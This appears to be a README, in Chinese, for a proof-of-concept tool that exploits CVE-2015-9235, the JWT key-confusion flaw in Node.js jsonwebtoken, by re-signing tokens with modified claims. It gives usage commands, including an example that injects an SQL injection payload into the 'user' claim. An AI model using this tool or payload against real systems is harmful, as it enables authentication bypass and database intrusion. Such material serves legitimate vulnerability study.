克隆或下载应用程序的源代码。
git clone https://github.com/WinDyAlphA/CVE-2015-9235_JWT_key_confusion
cd CVE-2015-9235_JWT_key_confusion
文件 token.txt 包含一个有效的 JWT 令牌作为示例。您可以修改它或将其替换为您自己的令牌。
使用命令行运行应用程序，并提供适当的参数：
python main.py -t token_path -k key_to_replace -v new_value
-t 或 --token：包含原始 JWT 令牌的文件路径。
-k 或 --key：要替换的键。
-v 或 --value：与该键关联的新值。
应用程序将显示更新了键的新 JWT 令牌。
python main.py -t token.txt -k user -v "thierry23' and 1=1-- -"
此应用程序旨在说明一个已知的安全漏洞，其编号为 CVE-2015-9235。
在 Node.js 的 jsonwebtoken 模块 4.2.2 版本之前，当令牌使用非对称算法（RS/ES 系列）签名时，攻击者有可能绕过验证，而是发送一个使用对称算法（HS* 系列）签名的令牌。